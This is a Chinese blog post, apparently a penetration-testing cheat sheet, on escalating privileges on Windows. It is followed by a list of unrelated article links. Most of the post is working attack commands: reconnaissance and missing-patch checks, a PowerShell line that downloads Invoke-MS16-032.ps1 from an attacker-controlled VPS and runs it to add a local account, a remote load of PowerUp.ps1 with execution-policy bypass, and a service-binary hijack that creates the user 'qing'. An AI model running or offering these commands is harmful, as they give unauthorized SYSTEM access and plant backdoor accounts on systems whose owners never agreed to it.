windows提权
1. windows提权信息收集
net user --- 查看当前用户
whoami ---- 查看当前权限
ipconfig /all --- 查看网卡信息通常情况下可以查看是否存在域
tasklist /svc --- 查看进程
wmic product get name,version --- 查看软件版本,这个在杀软情况下有用
query user || qwinsta --- 查看当前在线用户
netstat -ano --- 查看端口
systeminfo --- 查看补丁在运行此命令是可能会出现无法显示的情况,需要在此运行
wmic qfe get Caption,Description,HotFixID,InstalledOn --- 查看系统安装补丁
net share --- 查看本机的共享 在域横向需要
net view --- 查看局域网内相邻ip
1.1、信息收集小脚本
echo "=======查看ip======="
ipconfig
echo "=====查看当前用户====="
net user
echo "=====查看当前权限====="
Whoami
以上可以根据自己进行编写
2. windows内核提权
在基本的信息收集后,接下使用windows内核提权进行测试,在测试前列出补丁
systeminfo > sysinfo.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type sysinfo.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a sysinfo.txt
在确认存在补丁后使用相应的exp进行提权,这里我以为ms16-032进行测试,获取system权限
以system执行软件
在08以上的操作系统可以使用powershell版本远程下载执行命令
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http:// VPS/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user 2 Admin123gT /add'"
3. windows操作系统配置错误提权
1.使用powerUP进行获取服务器可能存在的漏洞,利用该漏洞进行提权。下载脚本(https://github.com/PowerShellEmpire/powerTools)
漏洞原理:windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。如果我们具有写入权限将恶意可执行文件,写入windows自动加载文件时就会执行我们的恶意文件。
步骤一检查漏洞模块
1.使用远程加载方式
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.128/Powershell/PowerSploit/Privesc/PowerUp.ps1');Invoke-AllChecks"
本地加载方式
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1'); Invoke-AllChecks"
或者绕过方法
powershell.exe -exec bypass -Command "& {Import-Module c:\PowerUp.ps1; Invoke-AllChecks}"
powershell.exe -exec bypass -Command "& {Import-Module C:\Users\Administrator\Desktop\PowerTools-master\PowerUp\PowerUp.ps1; Invoke-AllChecks}"
步骤二查看写入权限
我们使用windows自带的icacls查看列出的是否有写入权限
我们可以看到administrators具有写入权限
参数说明:
“M”表示修改,”F”代表完全控制,”CI”代表从容器将继承访问控制项,"OI" 代表从属文件将继承访问控制项。这意味着对该目录有读,写,删除其下的文件,删除该目录下的子目录的权限。
步骤三进行提权
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Install-ServiceBinary -ServiceName 'VMwareCAFCommAmqpListener' -UserName qing -Password qing123!
成功创建账号
“VMwareCAFCommAmqpListener” 是检测的模块
4、参考:
https://www.cnblogs.com/-qing-/p/10546199.html#_label12
https://www.uedbox.com/post/9906/
5、以上都是基础操作有,水文
相关文章
- 论文翻译:2021_A New Real-Time Noise Suppression Algorithm for Far-Field Speech Communication Based on Recurrent Neural Network
- linux系统下深度学习环境搭建和使用
- 解决github下载速度慢问题
- 论文翻译:1994_An Algorithm To Reconstruct Wideband Speech From Narrowband Speech Based On Codebook Mapping
- Git从入门到精通
- Linux指令学习
- MongoDB day04
- MongoDB day03
- MongoDB day02
- MongoDB day01
- php个人博客系统项目网站
- 基于thinkphp的服装女装男装衣服鞋子商城服装商城
- C/C++ Qt 信号自定义槽函数
- C/C++ Qt 常用数据结构
- C/C++ Qt 编译打包项目
- Linux 命令(231)—— let 命令(builtin)
- Linux 命令(232)—— bind 命令(builtin)
- Linux 命令(233)—— sum 命令
- Linux 命令(234)—— cksum 命令
- 嵌入式:ARM转移指令(分支指令)